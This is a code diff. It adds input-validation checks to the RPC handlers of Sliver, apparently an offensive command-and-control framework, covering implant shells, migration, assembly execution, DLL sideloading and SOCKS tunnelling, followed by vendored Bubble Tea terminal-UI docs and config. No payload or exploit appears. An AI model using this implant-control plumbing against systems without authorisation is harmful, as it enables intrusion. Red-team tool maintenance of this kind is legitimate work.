func (rpc *Server) StartRportFwdListener(ctx context.Context, req *sliverpb.RportFwdStartListenerReq) (*sliverpb.RportFwdListener, error) {
if req == nil || req.Request == nil {
return nil, ErrMissingRequestField
}
resp := &sliverpb.RportFwdListener{Response: &commonpb.Response{}}
err := rpc.GenericHandler(req, resp)
if err != nil {
@@ -55,6 +59,10 @@ func (rpc *Server) StartRportFwdListener(ctx context.Context, req *sliverpb.Rpor
// StopRportfwdListener - Instruct the implant to stop a reverse port forward
func (rpc *Server) StopRportFwdListener(ctx context.Context, req *sliverpb.RportFwdStopListenerReq) (*sliverpb.RportFwdListener, error) {
if req == nil || req.Request == nil {
return nil, ErrMissingRequestField
}
resp := &sliverpb.RportFwdListener{Response: &commonpb.Response{}}
err := rpc.GenericHandler(req, resp)
if err != nil {
+8
View File
@@ -49,6 +49,10 @@ func (rpc *Server) GetSessions(ctx context.Context, _ *commonpb.Empty) (*clientp
// KillSession - Kill a session
func (rpc *Server) KillSession(ctx context.Context, kill *sliverpb.KillReq) (*commonpb.Empty, error) {
if kill == nil || kill.Request == nil {
return &commonpb.Empty{}, ErrMissingRequestField
}
session := core.Sessions.Get(kill.Request.SessionID)
if session == nil {
return &commonpb.Empty{}, ErrInvalidSessionID
@@ -75,6 +79,10 @@ func (rpc *Server) OpenSession(ctx context.Context, openSession *sliverpb.OpenSe
// CloseSession - Close an interactive session, but do not kill the remote process
func (rpc *Server) CloseSession(ctx context.Context, closeSession *sliverpb.CloseSession) (*commonpb.Empty, error) {
if closeSession == nil || closeSession.Request == nil {
return nil, ErrMissingRequestField
}
session := core.Sessions.Get(closeSession.Request.SessionID)
if session == nil {
return nil, ErrInvalidSessionID
+8
View File
@@ -36,6 +36,10 @@ var (
// Shell - Open an interactive shell
func (rpc *Server) Shell(ctx context.Context, req *sliverpb.ShellReq) (*sliverpb.Shell, error) {
if req == nil || req.Request == nil {
return nil, ErrMissingRequestField
}
session := core.Sessions.Get(req.Request.SessionID)
if session == nil {
return nil, ErrInvalidSessionID
@@ -62,6 +66,10 @@ func (rpc *Server) Shell(ctx context.Context, req *sliverpb.ShellReq) (*sliverpb
// ShellResize - Resize a shell PTY (best effort)
func (rpc *Server) ShellResize(ctx context.Context, req *sliverpb.ShellResizeReq) (*commonpb.Empty, error) {
if req == nil || req.Request == nil {
return nil, ErrMissingRequestField
}
session := core.Sessions.Get(req.Request.SessionID)
if session == nil {
return nil, ErrInvalidSessionID
+11
View File
@@ -155,6 +155,13 @@ func (s *Server) SocksProxy(stream rpcpb.SliverRPC_SocksProxyServer) error {
rpcLog.Warnf("Error on stream recv %s", err)
return rpcError(err)
}
if fromClient == nil {
continue
}
if fromClient.Request == nil {
rpcLog.Warnf("Ignoring SOCKS frame with missing request metadata for tunnel %d", fromClient.TunnelID)
continue
}
tunnelMutex.Lock()
activeTunnels[fromClient.TunnelID] = true // Mark this as an active tunnel
@@ -348,6 +355,10 @@ func (s *Server) SocksProxy(stream rpcpb.SliverRPC_SocksProxyServer) error {
if !ok {
break
}
if fromClient.Request == nil {
rpcLog.Error("Missing request metadata for SOCKS tunnel")
break
}
session := core.Sessions.Get(fromClient.Request.SessionID)
if session == nil {
+19
View File
@@ -67,6 +67,10 @@ func (rpc *Server) Migrate(ctx context.Context, req *clientpb.MigrateReq) (*sliv
var dbBeacon *models.Beacon
var err error
if req == nil || req.Request == nil {
return nil, ErrMissingRequestField
}
if !req.Request.Async { // is this a session?
session = core.Sessions.Get(req.Request.SessionID)
if session == nil {
@@ -197,6 +201,11 @@ func (rpc *Server) ExecuteAssembly(ctx context.Context, req *sliverpb.ExecuteAss
var beacon *clientpb.Beacon
var dbBeacon *models.Beacon
var err error
if req == nil || req.Request == nil {
return nil, ErrMissingRequestField
}
if !req.Request.Async {
session = core.Sessions.Get(req.Request.SessionID)
if session == nil {
@@ -267,6 +276,11 @@ func (rpc *Server) Sideload(ctx context.Context, req *sliverpb.SideloadReq) (*sl
err error
arch string
)
if req == nil || req.Request == nil {
return nil, ErrMissingRequestField
}
if !req.Request.Async {
session = core.Sessions.Get(req.Request.SessionID)
if session == nil {
@@ -315,6 +329,11 @@ func (rpc *Server) SpawnDll(ctx context.Context, req *sliverpb.InvokeSpawnDllReq
var beacon *clientpb.Beacon
var dbBeacon *models.Beacon
var err error
if req == nil || req.Request == nil {
return nil, ErrMissingRequestField
}
if !req.Request.Async {
session = core.Sessions.Get(req.Request.SessionID)
if session == nil {
+2 -2
View File
@@ -1,9 +1,9 @@
package assets
const (
goVersion = "1.25.6"
goVersion = "1.25.7"
garbleVersion = "1.25.7"
zigVersion = "0.15.2"
garbleVersion = "1.25.6"
zigSourceParam = "source=sliver"
zigMinisignPublicKey = "RWSGOq2NVecA2UPNdBUZykf1CCb147pkmdtYxgb3Ti+JO/wCYvhbAb/U"
@@ -0,0 +1 @@
*.golden -text
+23
View File
@@ -0,0 +1,23 @@
.DS_Store
.envrc
examples/fullscreen/fullscreen
examples/help/help
examples/http/http
examples/list-default/list-default
examples/list-fancy/list-fancy
examples/list-simple/list-simple
examples/mouse/mouse
examples/pager/pager
examples/progress-download/color_vortex.blend
examples/progress-download/progress-download
examples/simple/simple
examples/spinner/spinner
examples/textinput/textinput
examples/textinputs/textinputs
examples/views/views
tutorials/basics/basics
tutorials/commands/commands
.idea
coverage.txt
dist/
+44
View File
@@ -0,0 +1,44 @@
version: "2"
run:
tests: false
linters:
enable:
- bodyclose
- exhaustive
- goconst
- godot
- gomoddirectives
- goprintffuncname
- gosec
- misspell
- nakedret
- nestif
- nilerr
- noctx
- nolintlint
- prealloc
- revive
- rowserrcheck
- sqlclosecheck
- tparallel
- unconvert
- unparam
- whitespace
- wrapcheck
exclusions:
rules:
- text: '(slog|log)\.\w+'
linters:
- noctx
generated: lax
presets:
- common-false-positives
issues:
max-issues-per-linter: 0
max-same-issues: 0
formatters:
enable:
- gofumpt
- goimports
exclusions:
generated: lax
+5
View File
@@ -0,0 +1,5 @@
# yaml-language-server: $schema=https://goreleaser.com/static/schema-pro.json
version: 2
includes:
- from_url:
url: charmbracelet/meta/main/goreleaser-lib.yaml
+21
View File
@@ -0,0 +1,21 @@
MIT License
Copyright (c) 2020-2026 Charmbracelet, Inc.
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.
+402
View File
@@ -0,0 +1,402 @@
# Bubble Tea
<p>
<img src="https://github.com/user-attachments/assets/ad408275-8799-488f-9303-441e7f869535" width="350"><br>
<a href="https://github.com/charmbracelet/bubbletea/releases"><img src="https://img.shields.io/github/release/charmbracelet/bubbletea.svg" alt="Latest Release"></a>
<a href="https://pkg.go.dev/charm.land/bubbletea/v2?tab=doc"><img src="https://godoc.org/charm.land/bubbletea/v2?status.svg" alt="GoDoc"></a>
<a href="https://github.com/charmbracelet/bubbletea/actions"><img src="https://github.com/charmbracelet/bubbletea/actions/workflows/build.yml/badge.svg?branch=main" alt="Build Status"></a>
</p>
The fun, functional and stateful way to build terminal apps. A Go framework
based on [The Elm Architecture][elm]. Bubble Tea is well-suited for simple and
complex terminal applications, either inline, full-window, or a mix of both.
<p>
<img src="https://stuff.charm.sh/bubbletea/bubbletea-example.gif" width="100%" alt="Bubble Tea Example">
</p>
Bubble Tea is in use in production and includes a number of features and
performance optimizations we’ve added along the way. Among those is
a high-performance cell-based renderer, built-in color downsampling,
declarative views, high-fidelity keyboard and mouse handling, native clipboard
support, and more.
To get started, see the tutorial below, the [examples][examples], the
[docs][docs], and some common [resources](#libraries-we-use-with-bubble-tea).
> [!TIP]
>
> Upgrading from v1? Check out the [upgrade guide](./UPGRADE_GUIDE_V2.md), or
> point your LLM at it and let it go to town.
## By the way
Be sure to check out [Bubbles][bubbles], a library of common UI components for Bubble Tea.
<p>
<a href="https://github.com/charmbracelet/bubbles"><img src="https://github.com/user-attachments/assets/b6dc4638-b67a-4bfa-88d0-a8e8833c3ac9" width="172" alt="Bubbles Badge"></a>&nbsp;&nbsp;
<a href="https://github.com/charmbracelet/bubbles"><img src="https://stuff.charm.sh/bubbles-examples/textinput.gif" width="400" alt="Text Input Example from Bubbles"></a>
</p>
---
## Tutorial
Bubble Tea is based on the functional design paradigms of [The Elm
Architecture][elm], which happens to work nicely with Go. It's a delightful way
to build applications.
This tutorial assumes you have a working knowledge of Go.
By the way, the non-annotated source code for this program is available
[on GitHub][tut-source].
[elm]: https://guide.elm-lang.org/architecture/
[tut-source]: https://github.com/charmbracelet/bubbletea/tree/main/tutorials/basics
### Enough! Let's get to it.
For this tutorial, we're making a shopping list.
To start we'll define our package and import some libraries. Our only external
import will be the Bubble Tea library, which we'll call `tea` for short.
```go
package main
// These imports will be used later on the tutorial. If you save the file
// now, Go might complain they are unused, but that's fine.
// You may also need to run `go mod tidy` to download bubbletea and its
// dependencies.
import (
"fmt"
"os"
tea "charm.land/bubbletea/v2"
)
```
Bubble Tea programs are comprised of a **model** that describes the application
state and three simple methods on that model:
- **Init**, a function that returns an initial command for the application to run.
- **Update**, a function that handles incoming events and updates the model accordingly.
- **View**, a function that renders the UI based on the data in the model.
### The Model
So let's start by defining our model which will store our application's state.
It can be any type, but a `struct` usually makes the most sense.
```go
type model struct {
choices []string // items on the to-do list
cursor int // which to-do list item our cursor is pointing at
selected map[int]struct{} // which to-do items are selected
}
```
## Initialization
Next, we’ll define our application’s initial state. `Init` can return a `Cmd`
that could perform some initial I/O. For now, we don’t need to do any I/O, so
for the command, we’ll just return `nil`, which translates to “no command.”
```go
func initialModel() model {
return model{
// Our to-do list is a grocery list
choices: []string{"Buy carrots", "Buy celery", "Buy kohlrabi"},
// A map which indicates which choices are selected. We're using
// the map like a mathematical set. The keys refer to the indexes
// of the `choices` slice, above.
selected: make(map[int]struct{}),
}
}
```
After that, we’ll define our application’s initial state in the `Init` method. `Init`
can return a `Cmd` that could perform some initial I/O. For now, we don't need
to do any I/O, so for the command, we'll just return `nil`, which translates to
"no command."
```go
func (m model) Init() tea.Cmd {
// Just return `nil`, which means "no I/O right now, please."
return nil
}
```
### The Update Method
Next up is the update method. The update function is called when “things
happen.” Its job is to look at what has happened and return an updated model in
response. It can also return a `Cmd` to make more things happen, but for now
don't worry about that part.
In our case, when a user presses the down arrow, `Update`’s job is to notice
that the down arrow was pressed and move the cursor accordingly (or not).
The “something happened” comes in the form of a `Msg`, which can be any type.
Messages are the result of some I/O that took place, such as a keypress, timer
tick, or a response from a server.
We usually figure out which type of `Msg` we received with a type switch, but
you could also use a type assertion.
For now, we'll just deal with `tea.KeyPressMsg` messages, which are
automatically sent to the update function when keys are pressed.
```go
func (m model) Update(msg tea.Msg) (tea.Model, tea.Cmd) {
switch msg := msg.(type) {
// Is it a key press?
case tea.KeyPressMsg:
// Cool, what was the actual key pressed?
switch msg.String() {
// These keys should exit the program.
case "ctrl+c", "q":
return m, tea.Quit
// The "up" and "k" keys move the cursor up
case "up", "k":
if m.cursor > 0 {
m.cursor--
}
// The "down" and "j" keys move the cursor down
case "down", "j":
if m.cursor < len(m.choices)-1 {
m.cursor++
}
// The "enter" key and the space bar toggle the selected state
// for the item that the cursor is pointing at.
case "enter", "space":
_, ok := m.selected[m.cursor]
if ok {
delete(m.selected, m.cursor)
} else {
m.selected[m.cursor] = struct{}{}
}
}
}
// Return the updated model to the Bubble Tea runtime for processing.
// Note that we're not returning a command.
return m, nil
}
```
You may have noticed that <kbd>ctrl+c</kbd> and <kbd>q</kbd> above return
a `tea.Quit` command with the model. That’s a special command which instructs
the Bubble Tea runtime to quit, exiting the program.
### The View Method
At last, it’s time to render our UI. Of all the methods, the view is the
simplest. We look at the model in its current state and use it to build a
`tea.View`. The view declares our UI content and, optionally, terminal features
like alt screen mode, mouse tracking, cursor position, and more.
Because the view describes the entire UI of your application, you don’t have to
worry about redrawing logic and stuff like that. Bubble Tea takes care of it
for you.
```go
func (m model) View() tea.View {
// The header
s := "What should we buy at the market?\n\n"
// Iterate over our choices
for i, choice := range m.choices {
// Is the cursor pointing at this choice?
cursor := " " // no cursor
if m.cursor == i {
cursor = ">" // cursor!
}
// Is this choice selected?
checked := " " // not selected
if _, ok := m.selected[i]; ok {
checked = "x" // selected!
}
// Render the row
s += fmt.Sprintf("%s [%s] %s\n", cursor, checked, choice)
}
// The footer
s += "\nPress q to quit.\n"
// Send the UI for rendering
return tea.NewView(s)
}
```
### All Together Now
The last step is to simply run our program. We pass our initial model to
`tea.NewProgram` and let it rip:
```go
func main() {
p := tea.NewProgram(initialModel())
if _, err := p.Run(); err != nil {
fmt.Printf("Alas, there's been an error: %v", err)
os.Exit(1)
}
}
```
## What’s Next?
This tutorial covers the basics of building an interactive terminal UI, but
in the real world you'll also need to perform I/O. To learn about that have a
look at the [Command Tutorial][cmd]. It's pretty simple.
There are also several [Bubble Tea examples][examples] available and, of course,
there are [Go Docs][docs].
[cmd]: https://github.com/charmbracelet/bubbletea/tree/main/tutorials/commands/
[examples]: https://github.com/charmbracelet/bubbletea/tree/main/examples
[docs]: https://pkg.go.dev/charm.land/bubbletea/v2?tab=doc
## Debugging
### Debugging with Delve
Since Bubble Tea apps assume control of stdin and stdout, you’ll need to run
delve in headless mode and then connect to it:
```bash
# Start the debugger
$ dlv debug --headless --api-version=2 --listen=127.0.0.1:43000 .
API server listening at: 127.0.0.1:43000
# Connect to it from another terminal
$ dlv connect 127.0.0.1:43000
```
If you do not explicitly supply the `--listen` flag, the port used will vary
per run, so passing this in makes the debugger easier to use from a script
or your IDE of choice.
Additionally, we pass in `--api-version=2` because delve defaults to version 1
for backwards compatibility reasons. However, delve recommends using version 2
for all new development and some clients may no longer work with version 1.
For more information, see the [Delve documentation](https://github.com/go-delve/delve/tree/master/Documentation/api).
### Logging Stuff
You can’t really log to stdout with Bubble Tea because your TUI is busy
occupying that! You can, however, log to a file by including something like
the following prior to starting your Bubble Tea program:
```go
if len(os.Getenv("DEBUG")) > 0 {
f, err := tea.LogToFile("debug.log", "debug")
if err != nil {
fmt.Println("fatal:", err)
os.Exit(1)
}
defer f.Close()
}
```
To see what’s being logged in real time, run `tail -f debug.log` while you run
your program in another window.
## Libraries we use with Bubble Tea
- [Bubbles][bubbles]: Common Bubble Tea components such as text inputs, viewports, spinners and so on
- [Lip Gloss][lipgloss]: Style, format and layout tools for terminal applications
- [Harmonica][harmonica]: A spring animation library for smooth, natural motion
- [BubbleZone][bubblezone]: Easy mouse event tracking for Bubble Tea components
- [ntcharts][ntcharts]: A terminal charting library built for Bubble Tea and [Lip Gloss][lipgloss]
[bubbles]: https://github.com/charmbracelet/bubbles
[lipgloss]: https://github.com/charmbracelet/lipgloss
[harmonica]: https://github.com/charmbracelet/harmonica
[bubblezone]: https://github.com/lrstanley/bubblezone
[ntcharts]: https://github.com/NimbleMarkets/ntcharts
## Bubble Tea in the Wild
There are over [18,000 applications](https://github.com/charmbracelet/bubbletea/network/dependents) built with Bubble Tea! Here are a handful of ’em.
### Staff favourites
- [chezmoi](https://github.com/twpayne/chezmoi): securely manage your dotfiles across multiple machines
- [circumflex](https://github.com/bensadeh/circumflex): read Hacker News in the terminal
- [gh-dash](https://www.github.com/dlvhdr/gh-dash): a GitHub CLI extension for PRs and issues
- [Tetrigo](https://github.com/Broderick-Westrope/tetrigo): Tetris in the terminal
- [Signls](https://github.com/emprcl/signls): a generative midi sequencer designed for composition and live performance
- [Superfile](https://github.com/yorukot/superfile): a super file manager
### In Industry
- Microsoft Azure – [Aztify](https://github.com/Azure/aztfy): bring Microsoft Azure resources under Terraform
- Daytona – [Daytona](https://github.com/daytonaio/daytona): an AI infrastructure platform
- Cockroach Labs – [CockroachDB](https://github.com/cockroachdb/cockroach): a cloud-native, high-availability distributed SQL database
- Truffle Security Co. – [Trufflehog](https://github.com/trufflesecurity/trufflehog): find leaked credentials
- NVIDIA – [container-canary](https://github.com/NVIDIA/container-canary): a container validator
- AWS – [eks-node-viewer](https://github.com/awslabs/eks-node-viewer): a tool for visualizing dynamic node usage within an EKS cluster
- MinIO – [mc](https://github.com/minio/mc): the official [MinIO](https://min.io) client
- Ubuntu – [Authd](https://github.com/ubuntu/authd): an authentication daemon for cloud-based identity providers
### Charm stuff
- [Glow](https://github.com/charmbracelet/glow): a markdown reader, browser, and online markdown stash
- [Huh?](https://github.com/charmbracelet/huh): an interactive prompt and form toolkit
- [Mods](https://github.com/charmbracelet/mods): AI on the CLI, built for pipelines
- [Wishlist](https://github.com/charmbracelet/wishlist): an SSH directory (and bastion!)
### There’s so much more where that came from
For more applications built with Bubble Tea see [Charm & Friends][community].
Is there something cool you made with Bubble Tea you want to share? [PRs][community] are
welcome!
## Contributing
See [contributing][contribute].
[contribute]: https://github.com/charmbracelet/bubbletea/contribute
## Feedback
We’d love to hear your thoughts on this project. Feel free to drop us a note!
- [Twitter](https://twitter.com/charmcli)
- [The Fediverse](https://mastodon.social/@charmcli)
- [Discord](https://charm.sh/chat)
## Acknowledgments
Bubble Tea is based on the paradigms of [The Elm Architecture][elm] by Evan
Czaplicki et alia and the excellent [go-tea][gotea] by TJ Holowaychuk. It’s
inspired by the many great [_Zeichenorientierte Benutzerschnittstellen_][zb]
of days past.
[elm]: https://guide.elm-lang.org/architecture/
[gotea]: https://github.com/tj/go-tea
[zb]: https://de.wikipedia.org/wiki/Zeichenorientierte_Benutzerschnittstelle
[community]: https://github.com/charm-and-friends/charm-in-the-wild
## License
[MIT](https://github.com/charmbracelet/bubbletea/raw/main/LICENSE)
---
Part of [Charm](https://charm.sh).
<a href="https://charm.sh/"><img alt="The Charm logo" src="https://stuff.charm.sh/charm-banner-next.jpg" width="400"></a>
Charm热爱开源 • Charm loves open source • نحنُ نحب المصادر المفتوحة
+14
View File
@@ -0,0 +1,14 @@
# https://taskfile.dev
version: '3'
tasks:
lint:
desc: Run lint
cmds:
- golangci-lint run
test:
desc: Run tests
cmds:
- go test ./... {{.CLI_ARGS}}
+573
View File
@@ -0,0 +1,573 @@
# Bubble Tea v2 Upgrade Guide
This guide covers everything you need to change when upgrading from Bubble Tea v1 to v2. For a tour of all the exciting new features, check out the [What's New](WHATS_NEW_V2.md) doc.
> [!NOTE]
> We don't take API changes lightly and strive to make the upgrade process as simple as possible. If something feels way off, let us know.
## Migration Checklist
Here's the short version — a checklist you can follow top to bottom. Each item links to the relevant section below.
- [ ] [Update import paths](#import-paths)
- [ ] [Change `View() string` to `View() tea.View`](#view-returns-a-teaview-now)
- [ ] [Replace `tea.KeyMsg` with `tea.KeyPressMsg`](#key-messages)
- [ ] [Update key fields: `msg.Type` / `msg.Runes` / `msg.Alt`](#key-messages)
- [ ] [Replace `case " ":` with `case "space":`](#key-messages)
- [ ] [Update mouse message usage](#mouse-messages)
- [ ] [Rename mouse button constants](#mouse-messages)
- [ ] [Remove old program options → use View fields](#removed-program-options)
- [ ] [Remove imperative commands → use View fields](#removed-commands)
- [ ] [Remove old program methods](#removed-program-methods)
- [ ] [Rename `tea.WindowSize()` → `tea.RequestWindowSize`](#renamed-apis)
- [ ] [Replace `tea.Sequentially(...)` → `tea.Sequence(...)`](#renamed-apis)
## Import Paths
The module path changed to a vanity domain. Lip Gloss moved too.
```go
// Before
import tea "github.com/charmbracelet/bubbletea"
import "github.com/charmbracelet/lipgloss"
// After
import tea "charm.land/bubbletea/v2"
import "charm.land/lipgloss/v2"
```
## The Big Idea: Declarative Views
The single biggest change in v2 is the shift from **imperative commands** to **declarative View fields**. In v1, you'd use program options like `tea.WithAltScreen()` and commands like `tea.EnterAltScreen` to toggle terminal features on and off. In v2, you just set fields on the `tea.View` struct in your `View()` method and Bubble Tea handles the rest.
This means: no more startup option flags, no more toggle commands, no more fighting over state. Just declare what you want and Bubble Tea will make it so.
```go
// v1: imperative — scattered across NewProgram, Init, and Update
p := tea.NewProgram(model{}, tea.WithAltScreen(), tea.WithMouseCellMotion())
// v2: declarative — everything lives in View()
func (m model) View() tea.View {
v := tea.NewView("Hello!")
v.AltScreen = true
v.MouseMode = tea.MouseModeCellMotion
return v
}
```
Keep this in mind as you go through the rest of the guide — most of the "removed" things simply moved into View fields.
## View Returns a `tea.View` Now
The `View()` method no longer returns a `string`. It returns a `tea.View` struct.
```go
// Before:
func (m model) View() string {
return "Hello, world!"
}
// After:
func (m model) View() tea.View {
return tea.NewView("Hello, world!")
}
```
You can also use the longer form if you need to set additional fields:
```go
func (m model) View() tea.View {
var v tea.View
v.SetContent("Hello, world!")
v.AltScreen = true
return v
}
```
The `tea.View` struct has fields for everything that used to be controlled by options and commands:
| View Field | What It Does |
|---|---|
| `Content` | The rendered string (set via `SetContent()` or `NewView()`) |
| `AltScreen` | Enter/exit the alternate screen buffer |
| `MouseMode` | `MouseModeNone`, `MouseModeCellMotion`, or `MouseModeAllMotion` |
| `ReportFocus` | Enable focus/blur event reporting |
| `DisableBracketedPasteMode` | Disable bracketed paste |
| `WindowTitle` | Set the terminal window title |
| `Cursor` | Control cursor position, shape, color, and blink |
| `ForegroundColor` | Set the terminal foreground color |
| `BackgroundColor` | Set the terminal background color |
| `ProgressBar` | Show a native terminal progress bar |
| `KeyboardEnhancements` | Request keyboard enhancement features |
| `OnMouse` | Intercept mouse messages based on view content |
## Key Messages
Key messages got a major overhaul. Here's the quick rundown:
### `tea.KeyMsg` is now an interface
In v1, `tea.KeyMsg` was a struct you'd match on for key presses. In v2, it's an **interface** that covers both key presses and releases. For most code, you want `tea.KeyPressMsg`:
```go
// Before:
case tea.KeyMsg:
switch msg.String() {
case "q":
return m, tea.Quit
}
// After:
case tea.KeyPressMsg:
switch msg.String() {
case "q":
return m, tea.Quit
}
```
If you want to handle both presses and releases, use `tea.KeyMsg` and type-switch inside:
```go
case tea.KeyMsg:
switch key := msg.(type) {
case tea.KeyPressMsg:
// key press
case tea.KeyReleaseMsg:
// key release
}
```
### Key fields changed
| v1 | v2 | Notes |
|---|---|---|
| `msg.Type` | `msg.Code` | A `rune` — can be `tea.KeyEnter`, `'a'`, etc. |
| `msg.Runes` | `msg.Text` | Now a `string`, not `[]rune` |
| `msg.Alt` | `msg.Mod` | `msg.Mod.Contains(tea.ModAlt)` for alt, etc. |
| `tea.KeyRune` | — | Check `len(msg.Text) > 0` instead |
| `tea.KeyCtrlC` | — | Use `msg.String() == "ctrl+c"` or check `msg.Code` + `msg.Mod` |
### Space bar changed
Space bar now returns `"space"` instead of `" "` when using `msg.String()`:
```go
// Before:
case " ":
// After:
case "space":
```
`key.Code` is still `' '` and `key.Text` is still `" "`, but `String()` returns `"space"`.
### Ctrl+key matching
```go
// Before:
case tea.KeyCtrlC:
// ctrl+c
// After (option A — string matching):
case tea.KeyPressMsg:
switch msg.String() {
case "ctrl+c":
// ctrl+c
}
// After (option B — field matching):
case tea.KeyPressMsg:
if msg.Code == 'c' && msg.Mod == tea.ModCtrl {
// ctrl+c
}
```
### New Key fields
These are new in v2 and don't have v1 equivalents:
- **`key.ShiftedCode`** — the shifted key code (e.g., `'B'` when pressing shift+b)
- **`key.BaseCode`** — the key on a US PC-101 layout (handy for international keyboards)
- **`key.IsRepeat`** — whether the key is auto-repeating (Kitty protocol / Windows Console only)
- **`key.Keystroke()`** — like `String()` but always includes modifier info
## Paste Messages
Paste events no longer come in as `tea.KeyMsg` with a `Paste` flag. They're now their own message types:
```go
// Before:
case tea.KeyMsg:
if msg.Paste {
m.text += string(msg.Runes)
}
// After:
case tea.PasteMsg:
m.text += msg.Content
case tea.PasteStartMsg:
// paste started
case tea.PasteEndMsg:
// paste ended
```
## Mouse Messages
### `tea.MouseMsg` is now an interface
In v1, `tea.MouseMsg` was a struct with `X`, `Y`, `Button`, etc. In v2, it's an **interface**. You get the coordinates by calling `msg.Mouse()`:
```go
// Before:
case tea.MouseMsg:
x, y := msg.X, msg.Y
// After:
case tea.MouseMsg:
mouse := msg.Mouse()
x, y := mouse.X, mouse.Y
```
### Mouse events are split by type
Instead of checking `msg.Action`, match on specific message types:
```go
// Before:
case tea.MouseMsg:
if msg.Action == tea.MouseActionPress && msg.Button == tea.MouseButtonLeft {
// left click
}
// After:
case tea.MouseClickMsg:
if msg.Button == tea.MouseLeft {
// left click
}
case tea.MouseReleaseMsg:
// release
case tea.MouseWheelMsg:
// scroll
case tea.MouseMotionMsg:
// movement
```
### Button constants renamed
| v1 | v2 |
|---|---|
| `tea.MouseButtonLeft` | `tea.MouseLeft` |
| `tea.MouseButtonRight` | `tea.MouseRight` |
| `tea.MouseButtonMiddle` | `tea.MouseMiddle` |
| `tea.MouseButtonWheelUp` | `tea.MouseWheelUp` |
| `tea.MouseButtonWheelDown` | `tea.MouseWheelDown` |
| `tea.MouseButtonWheelLeft` | `tea.MouseWheelLeft` |
| `tea.MouseButtonWheelRight` | `tea.MouseWheelRight` |
### `tea.MouseEvent` → `tea.Mouse`
The `MouseEvent` struct is gone. The new `Mouse` struct has `X`, `Y`, `Button`, and `Mod` fields.
### Mouse mode is now a View field
```go
// Before:
p := tea.NewProgram(model{}, tea.WithMouseCellMotion())
// After:
func (m model) View() tea.View {
v := tea.NewView("...")
v.MouseMode = tea.MouseModeCellMotion
return v
}
```
## Removed Program Options
These options no longer exist. They all moved to View fields.
| Removed Option | Do This Instead |
|---|---|
| `tea.WithAltScreen()` | `view.AltScreen = true` |
| `tea.WithMouseCellMotion()` | `view.MouseMode = tea.MouseModeCellMotion` |
| `tea.WithMouseAllMotion()` | `view.MouseMode = tea.MouseModeAllMotion` |
| `tea.WithReportFocus()` | `view.ReportFocus = true` |
| `tea.WithoutBracketedPaste()` | `view.DisableBracketedPasteMode = true` |
| `tea.WithInputTTY()` | Just remove it — v2 always opens the TTY for input automatically |
| `tea.WithANSICompressor()` | Just remove it — the new renderer handles optimization automatically |
## Removed Commands
These commands no longer exist. Set the corresponding View field instead.
| Removed Command | Do This Instead |
|---|---|
| `tea.EnterAltScreen` | `view.AltScreen = true` |
| `tea.ExitAltScreen` | `view.AltScreen = false` |
| `tea.EnableMouseCellMotion` | `view.MouseMode = tea.MouseModeCellMotion` |
| `tea.EnableMouseAllMotion` | `view.MouseMode = tea.MouseModeAllMotion` |
| `tea.DisableMouse` | `view.MouseMode = tea.MouseModeNone` |
| `tea.HideCursor` | `view.Cursor = nil` |
| `tea.ShowCursor` | `view.Cursor = &tea.Cursor{...}` or `tea.NewCursor(x, y)` |
| `tea.EnableBracketedPaste` | `view.DisableBracketedPasteMode = false` |
| `tea.DisableBracketedPaste` | `view.DisableBracketedPasteMode = true` |
| `tea.EnableReportFocus` | `view.ReportFocus = true` |
| `tea.DisableReportFocus` | `view.ReportFocus = false` |
| `tea.SetWindowTitle("...")` | `view.WindowTitle = "..."` |
## Removed Program Methods
These methods on `*Program` are gone.
| Removed Method | Do This Instead |
|---|---|
| `p.Start()` | `p.Run()` |
| `p.StartReturningModel()` | `p.Run()` |
| `p.EnterAltScreen()` | `view.AltScreen = true` in `View()` |
| `p.ExitAltScreen()` | `view.AltScreen = false` in `View()` |
| `p.EnableMouseCellMotion()` | `view.MouseMode` in `View()` |
| `p.DisableMouseCellMotion()` | `view.MouseMode = tea.MouseModeNone` in `View()` |
| `p.EnableMouseAllMotion()` | `view.MouseMode` in `View()` |
| `p.DisableMouseAllMotion()` | `view.MouseMode = tea.MouseModeNone` in `View()` |
| `p.SetWindowTitle(...)` | `view.WindowTitle` in `View()` |
## Renamed APIs
| v1 | v2 | Notes |
|---|---|---|
| `tea.Sequentially(...)` | `tea.Sequence(...)` | `Sequentially` was already deprecated in v1 |
| `tea.WindowSize()` | `tea.RequestWindowSize` | Now returns `Msg` directly, not a `Cmd` |
## New Program Options
These are new in v2:
| Option | What It Does |
|---|---|
| `tea.WithColorProfile(p)` | Force a specific color profile (great for testing) |
| `tea.WithWindowSize(w, h)` | Set initial terminal size (great for testing) |
## Complete Before & After
Here's a minimal but complete program showing the most common migration patterns side by side.
**v1:**
```go
package main
import (
"fmt"
"os"
tea "github.com/charmbracelet/bubbletea"
)
type model struct {
count int
}
func (m model) Init() tea.Cmd {
return nil
}
func (m model) Update(msg tea.Msg) (tea.Model, tea.Cmd) {
switch msg := msg.(type) {
case tea.KeyMsg:
switch msg.String() {
case "q", "ctrl+c":
return m, tea.Quit
case " ":
m.count++
}
case tea.MouseMsg:
if msg.Action == tea.MouseActionPress && msg.Button == tea.MouseButtonLeft {
m.count++
}
}
return m, nil
}
func (m model) View() string {
return fmt.Sprintf("Count: %d\n\nSpace or click to increment. q to quit.\n", m.count)
}
func main() {
p := tea.NewProgram(model{}, tea.WithAltScreen(), tea.WithMouseCellMotion())
if _, err := p.Run(); err != nil {
fmt.Fprintln(os.Stderr, err)
os.Exit(1)
}
}
```
**v2:**
```go
package main
import (
"fmt"
"os"
tea "charm.land/bubbletea/v2"
)
type model struct {
count int
}
func (m model) Init() tea.Cmd {
return nil
}
func (m model) Update(msg tea.Msg) (tea.Model, tea.Cmd) {
switch msg := msg.(type) {
case tea.KeyPressMsg:
switch msg.String() {
